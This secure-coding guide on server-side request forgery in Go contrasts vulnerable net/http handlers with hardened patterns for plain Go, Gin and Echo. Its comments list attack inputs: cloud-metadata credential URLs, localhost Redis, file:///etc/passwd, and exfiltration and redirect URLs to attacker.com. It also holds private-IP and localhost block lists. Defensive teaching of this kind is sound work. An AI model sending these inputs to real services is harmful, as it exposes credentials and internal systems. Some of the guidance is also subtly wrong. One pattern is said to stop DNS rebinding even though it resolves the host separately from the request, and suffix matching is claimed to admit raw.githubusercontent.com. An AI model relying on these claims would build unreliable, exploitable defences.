CWE-918: Server-Side Request Forgery (SSRF) - Go
Overview
Server-Side Request Forgery (SSRF) vulnerabilities occur when an application makes HTTP requests to URLs derived from user input without proper validation. In Go applications using net/http, attackers can manipulate these requests to access internal resources, cloud metadata endpoints, or bypass firewall restrictions.
SSRF is particularly dangerous in cloud environments (AWS, GCP, Azure) where metadata services expose sensitive credentials and configuration at predictable IP addresses (169.254.169.254). An SSRF vulnerability can leak IAM credentials, database passwords, API keys, and other secrets. In internal networks, SSRF bypasses perimeter security, allowing attackers to port-scan internal hosts, access admin interfaces, or exploit internal services that assume requests from the local network are trusted.
Go's net/http package makes HTTP requests straightforward with http.Get() and http.Client, but provides no built-in SSRF protection. Developers must implement URL validation, protocol allowlisting, and private IP blocking. The challenge is that URL parsing is complex - attackers use DNS rebinding, IPv6 notation, URL encoding, and alternative IP formats (decimal, octal, hex) to bypass naive filters.
Primary Defence: Implement strict URL allowlisting with protocol restrictions, validate and resolve hostnames before making requests, block private IP ranges (RFC 1918, loopback, link-local), and use network-level controls to restrict egress from application servers.
Common Vulnerable Patterns
Direct URL Pass-Through
// VULNERABLE - No validation of user-provided URL
package main
import (
"fmt"
"io"
"net/http"
)
func fetchURLHandler(w http.ResponseWriter, r *http.Request) {
// DANGEROUS: User controls the URL completely
url := r.URL.Query().Get("url")
// Make request to user-provided URL
resp, err := http.Get(url)
if err != nil {
http.Error(w, "Fetch failed", 500)
return
}
defer resp.Body.Close()
// Return response to user
body, _ := io.ReadAll(resp.Body)
w.Write(body)
}
// ATTACK EXAMPLES:
// /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
// -> Leaks AWS IAM credentials
//
// /fetch?url=http://localhost:6379/
// -> Access internal Redis server
//
// /fetch?url=file:///etc/passwd
// -> May expose local files (if file:// supported)
Why this is vulnerable: The application makes HTTP requests to arbitrary URLs without validation. Attackers can target cloud metadata endpoints to steal credentials, access internal services on localhost or private IPs, scan internal network ranges, or exfiltrate data through DNS (http://attacker.com/?data=stolen). The response is returned directly to the attacker, providing full access to internal resources.
Insufficient Protocol Validation
// VULNERABLE - Only checks for http/https prefix
import (
"net/http"
"strings"
)
func fetchWithProtocolCheck(w http.ResponseWriter, r *http.Request) {
url := r.URL.Query().Get("url")
// INSUFFICIENT: Allows http and https but doesn't block private IPs
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
http.Error(w, "Invalid protocol", 400)
return
}
// Still vulnerable to internal network access
resp, err := http.Get(url)
if err != nil {
http.Error(w, "Request failed", 500)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
w.Write(body)
}
// ATTACK:
// /fetch?url=http://169.254.169.254/latest/meta-data/
// -> Protocol is http://, passes validation, accesses metadata service
//
// /fetch?url=http://192.168.1.1/admin
// -> Accesses internal admin panel
Why this is vulnerable: Protocol validation alone is insufficient. While blocking file://, ftp://, and other protocols prevents some attacks, it doesn't stop access to private IPs over HTTP/HTTPS. Attackers can still target cloud metadata (169.254.169.254), localhost (127.0.0.1), and private networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). The application needs to validate the destination IP address, not just the URL scheme.
Hostname-Based Allowlisting with DNS Rebinding
// VULNERABLE - DNS rebinding attack
import (
"net"
"net/http"
"net/url"
)
func fetchWithHostnameCheck(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")
parsedURL, err := url.Parse(targetURL)
if err != nil {
http.Error(w, "Invalid URL", 400)
return
}
// VULNERABLE: Time-of-check/time-of-use race condition
// DNS can change between validation and request
if parsedURL.Hostname() == "127.0.0.1" ||
parsedURL.Hostname() == "localhost" ||
parsedURL.Hostname() == "169.254.169.254" {
http.Error(w, "Blocked hostname", 400)
return
}
// RACE: DNS lookup occurs here, could resolve differently
resp, err := http.Get(targetURL)
if err != nil {
http.Error(w, "Request failed", 500)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
w.Write(body)
}
// ATTACK: DNS rebinding
// Attacker controls attacker.com DNS:
// 1. First lookup: attacker.com -> 1.2.3.4 (public IP, passes check)
// 2. Second lookup: attacker.com -> 127.0.0.1 (private IP, used in request)
// Timing attack allows bypassing validation
Why this is vulnerable: There's a time-of-check/time-of-use (TOCTOU) race condition. The initial hostname validation checks the DNS at one point in time, but http.Get() performs its own DNS lookup which may return a different IP. An attacker controlling DNS can serve a safe public IP during validation and switch to a private IP for the actual request. This "DNS rebinding" attack bypasses hostname blocklists.
Redirect Following to Internal URLs
// VULNERABLE - Following redirects to internal resources
import (
"net/http"
)
func fetchWithRedirects(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")
// Validate initial URL (assume some basic validation)
// ...
// DANGEROUS: Default http.Client follows redirects
client := &http.Client{
// Default: follows up to 10 redirects automatically
}
resp, err := client.Get(targetURL)
if err != nil {
http.Error(w, "Request failed", 500)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
w.Write(body)
}
// ATTACK:
// /fetch?url=https://attacker.com/redirect.php
// (attacker.com responds with HTTP 302 to http://169.254.169.254/...)
// Application follows redirect to metadata service, validation bypassed
Why this is vulnerable: Go's http.Client follows HTTP redirects automatically (up to 10 by default). Even if the initial URL passes validation, the application may follow redirects to malicious destinations. An attacker hosts a public URL that redirects to a private IP or cloud metadata endpoint, bypassing validation applied only to the initial URL. The application trusts redirects implicitly.
Secure Patterns
URL Allowlist with Domain Validation
// SECURE - Strict domain allowlisting
package main
import (
"fmt"
"io"
"net"
"net/http"
"net/url"
"strings"
"time"
)
var allowedDomains = map[string]bool{
"api.example.com": true,
"cdn.example.com": true,
"partner.trusted.com": true,
}
func fetchSecureURL(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")
// Parse URL
parsedURL, err := url.Parse(targetURL)
if err != nil {
http.Error(w, "Invalid URL", http.StatusBadRequest)
return
}
// SECURE: Enforce HTTPS only
if parsedURL.Scheme != "https" {
http.Error(w, "Only HTTPS allowed", http.StatusBadRequest)
return
}
// SECURE: Check domain against allowlist
hostname := strings.ToLower(parsedURL.Hostname())
if !allowedDomains[hostname] {
http.Error(w, "Domain not allowed", http.StatusForbidden)
return
}
// SECURE: Resolve hostname and validate IP isn't private
if err := validatePublicIP(hostname); err != nil {
http.Error(w, "Invalid destination", http.StatusForbidden)
return
}
// Create client with timeout and no redirect following
client := &http.Client{
Timeout: 10 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse // Don't follow redirects
},
}
resp, err := client.Get(parsedURL.String())
if err != nil {
http.Error(w, "Request failed", http.StatusBadGateway)
return
}
defer resp.Body.Close()
// Limit response size
body, err := io.ReadAll(io.LimitReader(resp.Body, 10*1024*1024)) // 10MB
if err != nil {
http.Error(w, "Read failed", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Write(body)
}
func validatePublicIP(hostname string) error {
// Resolve hostname
ips, err := net.LookupIP(hostname)
if err != nil {
return fmt.Errorf("DNS lookup failed: %w", err)
}
// Check all resolved IPs
for _, ip := range ips {
if isPrivateIP(ip) {
return fmt.Errorf("private IP not allowed: %s", ip)
}
}
return nil
}
func isPrivateIP(ip net.IP) bool {
// Loopback
if ip.IsLoopback() {
return true
}
// Link-local
if ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {
return true
}
// Private ranges (RFC 1918)
privateRanges := []string{
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16", // AWS metadata, link-local
"127.0.0.0/8", // Loopback
"::1/128", // IPv6 loopback
"fc00::/7", // IPv6 private
"fe80::/10", // IPv6 link-local
}
for _, cidr := range privateRanges {
_, block, _ := net.ParseCIDR(cidr)
if block.Contains(ip) {
return true
}
}
return false
}
Why this works: Multiple layers of defense prevent SSRF:
- HTTPS-only: Prevents downgrade attacks and ensures encryption
- Domain allowlist: Only predefined domains allowed - no user-controlled hosts
- IP validation: Resolves hostname before request, blocks private IPs including AWS metadata (169.254.0.0/16)
- No redirects:
CheckRedirectreturnsErrUseLastResponse, preventing redirect-based bypass - Timeout: 10-second limit prevents slowloris attacks
- Response size limit: Prevents resource exhaustion
- IPv6 support: Blocks private IPv6 ranges (
fc00::/7,fe80::/10)
This approach prevents DNS rebinding because IP validation happens synchronously before the request.
Custom HTTP Client with Dial Control
// SECURE - Control DNS resolution and connections at transport layer
import (
"context"
"fmt"
"net"
"net/http"
"time"
)
func createSecureHTTPClient() *http.Client {
dialer := &net.Dialer{
Timeout: 5 * time.Second,
KeepAlive: 30 * time.Second,
}
transport := &http.Transport{
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
// Extract host and port
host, port, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
// Resolve IP
ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
// SECURE: Validate all resolved IPs before connecting
for _, ip := range ips {
if isPrivateIP(ip.IP) {
return nil, fmt.Errorf("connection to private IP blocked: %s", ip.IP)
}
}
// Connect to first valid IP
if len(ips) > 0 {
addr = net.JoinHostPort(ips[0].IP.String(), port)
}
return dialer.DialContext(ctx, network, addr)
},
MaxIdleConns: 10,
IdleConnTimeout: 30 * time.Second,
TLSHandshakeTimeout: 5 * time.Second,
ExpectContinueTimeout: 1 * time.Second,
}
return &http.Client{
Transport: transport,
Timeout: 15 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
func secureHTTPHandler(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")
// Validate URL structure
// (domain allowlist check, HTTPS-only, etc.)
client := createSecureHTTPClient()
resp, err := client.Get(targetURL)
if err != nil {
http.Error(w, "Request failed", http.StatusBadGateway)
return
}
defer resp.Body.Close()
// Process response...
}
Why this works: Custom DialContext intercepts every connection attempt at the transport layer. IP validation occurs during the connection handshake, preventing DNS rebinding - even if DNS changes between checks, the transport layer validates again. This provides defense-in-depth: validation happens both before the request (application layer) and during connection (transport layer). All resolved IPs are checked, covering both IPv4 and IPv6.
Webhook URL Validation for User-Configured Callbacks
// SECURE - Validate webhook URLs with strict checks
import (
"fmt"
"net"
"net/url"
"regexp"
"strings"
)
type WebhookConfig struct {
URL string
Secret string
}
func validateWebhookURL(webhookURL string) error {
// Parse URL
parsed, err := url.Parse(webhookURL)
if err != nil {
return fmt.Errorf("invalid URL format: %w", err)
}
// SECURE: HTTPS only for webhooks
if parsed.Scheme != "https" {
return fmt.Errorf("webhooks must use HTTPS")
}
// Check for username/password in URL (credential exfiltration)
if parsed.User != nil {
return fmt.Errorf("credentials in URL not allowed")
}
hostname := strings.ToLower(parsed.Hostname())
// Block direct IP addresses
if net.ParseIP(hostname) != nil {
return fmt.Errorf("IP addresses not allowed, use domain names")
}
// Block localhost variations
localhostPatterns := []string{
"localhost",
"127.0.0.1",
"::1",
"0.0.0.0",
"[::]",
}
for _, blocked := range localhostPatterns {
if hostname == blocked {
return fmt.Errorf("localhost not allowed")
}
}
// Block common internal TLDs
internalTLDs := []string{".local", ".internal", ".corp", ".lan"}
for _, tld := range internalTLDs {
if strings.HasSuffix(hostname, tld) {
return fmt.Errorf("internal TLDs not allowed")
}
}
// Resolve and validate IPs
ips, err := net.LookupIP(hostname)
if err != nil {
return fmt.Errorf("DNS resolution failed: %w", err)
}
for _, ip := range ips {
if isPrivateIP(ip) {
return fmt.Errorf("webhook points to private IP: %s", ip)
}
}
// Validate domain format (basic check for malformed domains)
domainRegex := regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]{0,61}[a-zA-Z0-9]?(\.[a-zA-Z0-9][a-zA-Z0-9-]{0,61}[a-zA-Z0-9]?)*\.[a-zA-Z]{2,}$`)
if !domainRegex.MatchString(hostname) {
return fmt.Errorf("invalid domain format")
}
return nil
}
func registerWebhook(w http.ResponseWriter, r *http.Request) {
var config WebhookConfig
// Parse JSON body...
// json.NewDecoder(r.Body).Decode(&config)
if err := validateWebhookURL(config.URL); err != nil {
http.Error(w, fmt.Sprintf("Invalid webhook URL: %v", err), http.StatusBadRequest)
return
}
// Store webhook configuration
// db.SaveWebhook(config)
w.WriteHeader(http.StatusCreated)
}
Why this works: Comprehensive webhook validation prevents SSRF attacks through user-configured callbacks:
- HTTPS enforcement: Prevents plaintext credential leakage
- Credential blocking: Rejects URLs with embedded
user:pass@(prevents exfiltration) - IP address blocking: Forces use of domain names (easier to audit and block)
- Localhost blocklist: Prevents loopback attacks
- Internal TLD blocking: Blocks
.local,.internal,.corpdomains common in internal networks - DNS + IP validation: Resolves domain and checks all IPs against private range list
- Domain format validation: Prevents malformed domains that might bypass parsing
URL Proxying with Content Filtering
// SECURE - Proxy external content with validation
import (
"bytes"
"io"
"net/http"
"net/url"
"strings"
"time"
)
type ProxyConfig struct {
AllowedDomains []string
MaxResponseSize int64
Timeout time.Duration
}
func (pc *ProxyConfig) ProxyHandler(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")
parsedURL, err := url.Parse(targetURL)
if err != nil {
http.Error(w, "Invalid URL", http.StatusBadRequest)
return
}
// SECURE: Domain allowlist
allowed := false
hostname := strings.ToLower(parsedURL.Hostname())
for _, domain := range pc.AllowedDomains {
if hostname == strings.ToLower(domain) ||
strings.HasSuffix(hostname, "."+strings.ToLower(domain)) {
allowed = true
break
}
}
if !allowed {
http.Error(w, "Domain not allowed", http.StatusForbidden)
return
}
// SECURE: Protocol validation
if parsedURL.Scheme != "https" {
http.Error(w, "HTTPS required", http.StatusBadRequest)
return
}
// SECURE: IP validation
if err := validatePublicIP(hostname); err != nil {
http.Error(w, "Invalid destination", http.StatusForbidden)
return
}
// Create secure client
client := &http.Client{
Timeout: pc.Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
// Allow redirects only within same domain
if req.URL.Hostname() != parsedURL.Hostname() {
return http.ErrUseLastResponse
}
if len(via) >= 3 {
return http.ErrUseLastResponse
}
return nil
},
}
// Make request
resp, err := client.Get(parsedURL.String())
if err != nil {
http.Error(w, "Fetch failed", http.StatusBadGateway)
return
}
defer resp.Body.Close()
// SECURE: Limit response size
limitedReader := io.LimitReader(resp.Body, pc.MaxResponseSize)
body, err := io.ReadAll(limitedReader)
if err != nil {
http.Error(w, "Read failed", http.StatusInternalServerError)
return
}
// SECURE: Content-Type validation (only allow expected types)
contentType := resp.Header.Get("Content-Type")
allowedTypes := []string{"application/json", "text/plain", "application/xml"}
typeAllowed := false
for _, allowed := range allowedTypes {
if strings.HasPrefix(contentType, allowed) {
typeAllowed = true
break
}
}
if !typeAllowed {
http.Error(w, "Content type not allowed", http.StatusBadRequest)
return
}
// Return proxied content
w.Header().Set("Content-Type", contentType)
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Write(body)
}
func main() {
config := &ProxyConfig{
AllowedDomains: []string{
"api.github.com",
"api.twitter.com",
},
MaxResponseSize: 5 * 1024 * 1024, // 5MB
Timeout: 10 * time.Second,
}
http.HandleFunc("/proxy", config.ProxyHandler)
http.ListenAndServe(":8080", nil)
}
Why this works: Defense-in-depth for content proxying:
- Domain allowlist with suffix matching:
api.github.comallows subdomains likeraw.githubusercontent.com - HTTPS-only: Prevents MitM attacks
- IP validation: Blocks private IPs before request
- Same-domain redirect policy: Allows redirects only within the same hostname (prevents redirect to attacker.com)
- Response size limit: Prevents resource exhaustion
- Content-Type validation: Only allows expected MIME types, blocks HTML that could execute scripts
- Security headers:
X-Content-Type-Options: nosniffprevents MIME sniffing attacks
Framework-Specific Guidance
Gin with SSRF Protection Middleware
// SECURE - Gin middleware for SSRF protection
package main
import (
"net"
"net/http"
"net/url"
"github.com/gin-gonic/gin"
)
func SSRFProtectionMiddleware(allowedDomains map[string]bool) gin.HandlerFunc {
return func(c *gin.Context) {
targetURL := c.Query("url")
if targetURL == "" {
c.Next()
return
}
// Parse and validate
parsed, err := url.Parse(targetURL)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid URL"})
c.Abort()
return
}
// Check scheme
if parsed.Scheme != "https" {
c.JSON(http.StatusBadRequest, gin.H{"error": "HTTPS required"})
c.Abort()
return
}
// Check domain
hostname := parsed.Hostname()
if !allowedDomains[hostname] {
c.JSON(http.StatusForbidden, gin.H{"error": "Domain not allowed"})
c.Abort()
return
}
// Validate IP
ips, err := net.LookupIP(hostname)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "DNS lookup failed"})
c.Abort()
return
}
for _, ip := range ips {
if isPrivateIP(ip) {
c.JSON(http.StatusForbidden, gin.H{"error": "Private IP not allowed"})
c.Abort()
return
}
}
c.Next()
}
}
func main() {
r := gin.Default()
allowed := map[string]bool{
"api.example.com": true,
}
r.Use(SSRFProtectionMiddleware(allowed))
r.GET("/fetch", fetchHandler)
r.Run(":8080")
}
func fetchHandler(c *gin.Context) {
// URL already validated by middleware
targetURL := c.Query("url")
client := createSecureHTTPClient()
resp, err := client.Get(targetURL)
if err != nil {
c.JSON(http.StatusBadGateway, gin.H{"error": "Fetch failed"})
return
}
defer resp.Body.Close()
// Process response...
c.String(http.StatusOK, "Success")
}
Why this works: Middleware centralizes SSRF protection, ensuring all routes benefit from validation. Early abort prevents execution of vulnerable handler logic. Gin's context allows storing validated URLs for handlers to use safely.
Echo with Webhook Validation
// SECURE - Echo webhook endpoint with validation
package main
import (
"net/http"
"github.com/labstack/echo/v4"
)
type Webhook struct {
URL string `json:"url" validate:"required,https_url"`
Events []string `json:"events" validate:"required,min=1"`
}
func main() {
e := echo.New()
e.POST("/webhooks", createWebhookHandler)
e.Start(":8080")
}
func createWebhookHandler(c echo.Context) error {
var webhook Webhook
if err := c.Bind(&webhook); err != nil {
return c.JSON(http.StatusBadRequest, map[string]string{"error": "Invalid request"})
}
// SECURE: Validate webhook URL
if err := validateWebhookURL(webhook.URL); err != nil {
return c.JSON(http.StatusBadRequest, map[string]string{
"error": "Invalid webhook URL",
"details": err.Error(),
})
}
// Store webhook
// db.SaveWebhook(webhook)
return c.JSON(http.StatusCreated, map[string]string{
"status": "created",
"url": webhook.URL,
})
}